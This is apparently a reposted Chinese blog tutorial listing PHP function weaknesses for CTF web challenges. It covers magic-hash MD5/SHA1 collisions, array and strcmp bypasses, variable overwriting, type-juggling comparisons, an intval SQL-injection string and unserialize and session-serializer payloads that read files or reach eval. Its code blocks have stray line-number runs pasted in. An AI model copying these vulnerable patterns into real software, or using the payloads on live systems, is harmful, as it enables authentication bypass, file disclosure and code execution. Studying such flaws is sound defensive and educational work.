[PHP 函数漏洞总结](http://blog.csdn.net/qq_31481187/article/details/60968595)

## 1.MD5 compare漏洞

[**PHP**](http://lib.csdn.net/base/php)在处理哈希字符串时，会利用”!=”或”==”来对哈希值进行比较，它把每一个以”0E”开头的哈希值都解释为0，所以如果两个不同的密码经过哈希以后，其哈希值都是以”0E”开头的，那么[**php**](http://lib.csdn.net/base/php)将会认为他们相同，都是0。   
常见的payload有

0x01 md5(str)

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

s214587387a

sha1(str)

sha1('aaroZmOk')

sha1('aaK1STfY')

sha1('aaO8zKZF')

sha1('aa3OFF9m')

0x02 md5(md5(str)."SALT")

2123456789101112131415123456789101112131415

同时MD5不能处理数组，若有以下判断则可用数组绕过

if(@md5($\_GET['a']) == @md5($\_GET['b']))

{

echo "yes";

}

//http://127.0.0.1/1.php?a[]=1&b[]=21234512345

## 2.ereg函数漏洞：00截断

ereg ("^[a-zA-Z0-9]+$", $\_GET['password']) === FALSE11

字符串对比解析   
在这里如果 $\_GET[‘password’]为数组，则返回值为NULL   
如果为123 || asd || 12as || 123%00&&&\*\*，则返回值为true   
其余为false

## 3.变量本身的key

说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值，但是忘记了有的程序把变量本身的key也当变量提取给函数处理。

<?php

//key.php?aaaa'aaa=1&bb'b=2

//print\_R($\_GET);

foreach ($\_GET AS $key => $value)

{

print $key."\n";

}

?>123456789101112131415123456789101112131415

## 4.变量覆盖

extract()这个函数在指定参数为EXTR\_OVERWRITE或者没有指定函数可以导致变量覆盖

<?php

$auth = '0';

// 这里可以覆盖$auth的变量值

extract($\_GET);

if($auth == 1){

echo "private!";

} else{

echo "public!";

}

?>1234567891012345678910

<?php

$a='hi';

foreach($\_GET as $key => $value) {

echo $key;

$$key = $value;

}

print $a;

?>

123456789123456789

## 5.strcmp

如果 str1 小于 str2 返回 < 0； 如果 str1 大于 str2 返回 > 0；如果两者相等，返回 0。   
5.2 中是将两个参数先转换成string类型。   
5.3.3以后，当比较数组和字符串的时候，返回是0。   
5.5 中如果参数不是string类型，直接return了

<?php

$password=$\_GET['password'];

if (strcmp('xd',$password)) {

echo 'NO!';

} else{

echo 'YES!';

}

?>1234567812345678

## 6.sha1 和 md5 函数

md5 和 sha1 无法处理数组，返回 NULL

if (@sha1([]) == false)

echo 1;

if (@md5([]) == false)

echo 2;

echo var\_dump(@sha1([]));1234512345

## 7.is\_numeric

PHP提供了is\_numeric函数，用来变量判断是否为数字。但是函数的范围比较广泛，不仅仅是十进制的数字。

<?php

echo is\_numeric(233333); # 1

echo is\_numeric('233333'); # 1

echo is\_numeric(0x233333); # 1

echo is\_numeric('0x233333'); # 1

echo is\_numeric('233333abc'); # 0

?>12345671234567

## 8.preg\_match

如果在进行正则表达式匹配的时候，没有限制字符串的开始和结束(^ 和 $)，则可以存在绕过的问题

<?php

$ip = '1.1.1.1 abcd'; // 可以绕过

if(!preg\_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {

die('error');

} else {

echo('key...');

}

?>1234567812345678

## 9.parse\_str

与 parse\_str() 类似的函数还有 mb\_parse\_str()，parse\_str 将字符串解析成多个变量，如果参数str是URL传递入的查询字符串（query string），则将它解析为变量并设置到当前作用域。

//var.php?var=new

$var='init';

parse\_str($\_SERVER['QUERY\_STRING']);

print $var;12341234

## 10.字符串比较

== 是弱类型的比较，以下比较都为 true

<?php

echo 0 == 'a' ;// a 转换为数字为 0 重点注意

// 0x 开头会被当成16进制54975581388的16进制为 0xccccccccc

// 十六进制与整数，被转换为同一进制比较

'0xccccccccc' == '54975581388' ;

// 字符串在与数字比较前会自动转换为数字，如果不能转换为数字会变成0

1 == '1';

1 == '01';

10 == '1e1';

'100' == '1e2' ;

// 十六进制数与带空格十六进制数，被转换为十六进制整数

'0xABCdef' == ' 0xABCdef';

echo '0010e2' == '1e3';

// 0e 开头会被当成数字，又是等于 0\*10^xxx=0

// 如果 md5 是以 0e 开头，在做比较的时候，可以用这种方法绕过

'0e509367213418206700842008763514' == '0e481036490867661113260034900752';

'0e481036490867661113260034900752' == '0' ;

var\_dump(md5('240610708') == md5('QNKCDZO'));

var\_dump(md5('aabg7XSs') == md5('aabC9RqS'));

var\_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));

var\_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));

?>12345678910111213141516171819202122232425261234567891011121314151617181920212223242526

## 11.unset

unset(*b**a**r*);用来销毁指定的变量，如果变量bar 包含在请求参数中，可能出现销毁一些变量而实现程序逻辑绕过。

<?php

// http://127.0.0.1/index.php?\_CONFIG=123

$\_CONFIG['extraSecure'] = true;

foreach(array('\_GET','\_POST') as $method) {

foreach($$method as $key=>$value) {

// $key == \_CONFIG

// $$key == $\_CONFIG

// 这个函数会把 $\_CONFIG 变量销毁

unset($$key);

}

}

if ($\_CONFIG['extraSecure'] == false) {

echo 'flag {\*\*\*\*}';

}

?>12345678910111213141516171234567891011121314151617

## 12.intval()

int转string：

$var = 5;

方式1：$item = (string)$var;

方式2：$item = strval($var); 123123

string转int：intval()函数。

var\_dump(intval('2')) //2

var\_dump(intval('3abcd')) //3

var\_dump(intval('abcd')) //0 123123

说明intval()转换的时候，会将从字符串的开始进行转换知道遇到一个非数字的字符。即使出现无法转换的字符串，intval()不会报错而是返回0。   
利用代码：

<?php

$a = '10000 union select \* from yz';

if(intval($a)>1000)

echo $a ;

?>1234512345

## 13.switch()

如果switch是数字类型的case的判断时，switch会将其中的参数转换为int类型。如下：

<?php

$i ="2abc";

switch ($i) {

case 0:

case 1:

case 2:

echo "i is less than 3 but not negative";

break;

case 3:

echo "i is 3";

}

?>123456789101112123456789101112

这个时候程序输出的是i is less than 3 but not negative，是由于switch()函数将$i进行了类型转换，转换结果为2。

## 14.in\_array()

$array=[0,1,2,'3'];

var\_dump(in\_array('abc', $array)); //true

var\_dump(in\_array('1bc', $array)); //true 123123

可以看到上面的情况返回的都是true,因为’abc’会转换为0，’1bc’转换为1。   
在所有php认为是int的地方输入string，都会被强制转换

## 15.serialize 和 unserialize漏洞

1.魔术方法

这里我们先简单介绍一下php中的魔术方法（这里如果对于类、对象、方法不熟的先去学学吧），即Magic方法，php类可能会包含一些特殊的函数叫magic函数，magic函数命名是以符号\_\_开头的，比如 \_\_construct， \_\_destruct，\_\_toString，\_\_sleep，\_\_wakeup等等。这些函数都会在某些特殊时候被自动调用。   
例如\_\_construct()方法会在一个对象被创建时自动调用，对应的\_\_destruct则会在一个对象被销毁时调用等等。   
这里有两个比较特别的Magic方法，\_\_sleep 方法会在一个对象被序列化的时候调用。 \_\_wakeup方法会在一个对象被反序列化的时候调用。

在这里介绍一个序列化漏洞，首先不要相信用户输入的一切   
看下面代码

<?php

class test

{

public $username = '';

public $password = '';

public $file = '';

public function out(){

echo "username: ".$this->username."<br>"."password: ".$this->password ;

}

public function \_\_toString() {

return file\_get\_contents($this->file);

}

}

$a = new test();

$a->file = 'C:\Users\YZ\Desktop\plan.txt';

echo serialize($a);

?>

//tostring方法会在输出实例的时候执行，如果实例路径是隐秘文件就可以读取了

1234567891011121314151617181912345678910111213141516171819

下面就可以读取了C:\Users\YZ\Desktop\plan.txt文件了   
echo unserialize触发了\_\_tostring函数

<?php

class test

{

public $username = '';

public $password = '';

public $file = '';

public function out(){

echo "username: ".$this->username."<br>"."password: ".$this->password ;

}

public function \_\_toString() {

return file\_get\_contents($this->file);

}

}

$a = 'O:4:"test":3:{s:8:"username";s:0:"";s:8:"password";s:0:"";s:4:"file";s:28:"C:\Users\YZ\Desktop\plan.txt";}';

echo unserialize($a);

?>1234567891011121314151612345678910111213141516

## 16.session 反序列化漏洞

主要原因是   
ini\_set(‘session.serialize\_handler’, ‘php\_serialize’);   
ini\_set(‘session.serialize\_handler’, ‘php’);   
两者处理session的方式不同

利用下面代码可以生成session值

<?php

ini\_set('session.serialize\_handler', 'php\_serialize');//a:1:{s:6:"spoock";s:3:"111";}

//ini\_set('session.serialize\_handler', 'php');//a|s:3:"111"

session\_start();

$\_SESSION["spoock"]=$\_GET["a"];

?>123456123456

我们来看看生成的session值

spoock|s:3:"111"; //session键值|内容序列化

a:1:{s:6:"spoock";s:3:"111";}a:1:{s:N:session键值;内容序列化}

在ini\_set('session.serialize\_handler', 'php');中把|之前认为是键值后面的视为序列化

那么就可以利用这一漏洞执行一些恶意代码1234512345

看下面的例子   
1.php

<?php

ini\_set('session.serialize\_handler', 'php\_serialize');

session\_start();

$\_SESSION["spoock"]=$\_GET["a"];

?>1234512345

2.php

<?php

ini\_set('session.serialize\_handler', 'php');

session\_start();

class lemon {

var $hi;

function \_\_construct(){

$this->hi = 'phpinfo();';

}

function \_\_destruct() {

eval($this->hi);//这里很危险，可以执行用户输入的参数

}

}

?>

123456789101112131415123456789101112131415

在1.PHP里面输入a参数序列化的值|O:5:”lemon”:1:{s:2:”hi”;s:10:”phpinfo();”;}   
则被序列化为   
a:1:{s:6:”spoock”;s:44:”|O:5:”lemon”:1:{s:2:”hi”;s:10:”phpinfo();”;}   
在2.PHP里面打开   
就可以执行phpinfo（）了   
[有道web题](http://web.jarvisoj.com:32784/)   
[这里是题解](http://blog.csdn.net/qq_31481187/article/details/53189113)